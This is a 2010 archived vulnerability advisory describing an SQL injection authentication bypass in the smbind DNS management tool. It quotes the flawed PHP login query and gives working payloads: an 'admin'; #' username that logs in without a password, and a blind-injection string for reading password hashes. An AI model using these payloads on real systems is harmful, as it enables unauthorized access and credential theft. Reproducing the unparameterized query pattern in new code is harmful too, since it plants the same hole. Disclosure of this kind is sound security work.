SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

SMBinds 0.4.7d below remote SQL injection vulnerability authentication bypass.


Arrow  WLB : WLB-2010090017  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-09-05
Arrow  Credit          : IHTeam
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-09-05] Started

Arrow  Affected software :  SMBinds 0.4.7d



Arrow  Text :  

###########################################################################
###################
#
# smbind <= v.0.4.7 Sql Injection
# Site: https://sourceforge.net/projects/smbind/files/
# Reported on 28/08/2010
#
# Author: IHTeam
#
###########################################################################
###################
#
# Buggy code:
#
if(isset($_POST['username']) && isset($_POST['password'])) {
if((!filter("alphanum", $_POST['username'])) or
(!filter("alphanum", $_POST['password']))) {
die("Username and password must contain only letters
and numbers.");
}
$_SESSION['username'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'];
}

if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
$res = $dbconnect->query("SELECT ID FROM users WHERE
username = '" . $_SESSION['username'] ."' AND password = '"
. md5($_SESSION['password']) . " ' ");
#
###########################################################################
###################
#
# Easy admin login
#
# Enter in username field: admin'; #
# Enter in password field: [anything]
#
# Sql query will result like this: SELECT ID FROM users WHERE username =
'admin'; #' AND password = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
#
###########################################################################
###################
#
# Limitation and Blind Sql Injection
#
# You're able to make blind sql injection too. Just input in username field
something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
#
###########################################################################
###################



Audyt bezpieczeństwa

Security Audit

Analiza powłamaniowa

Arrow  References :  

None

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.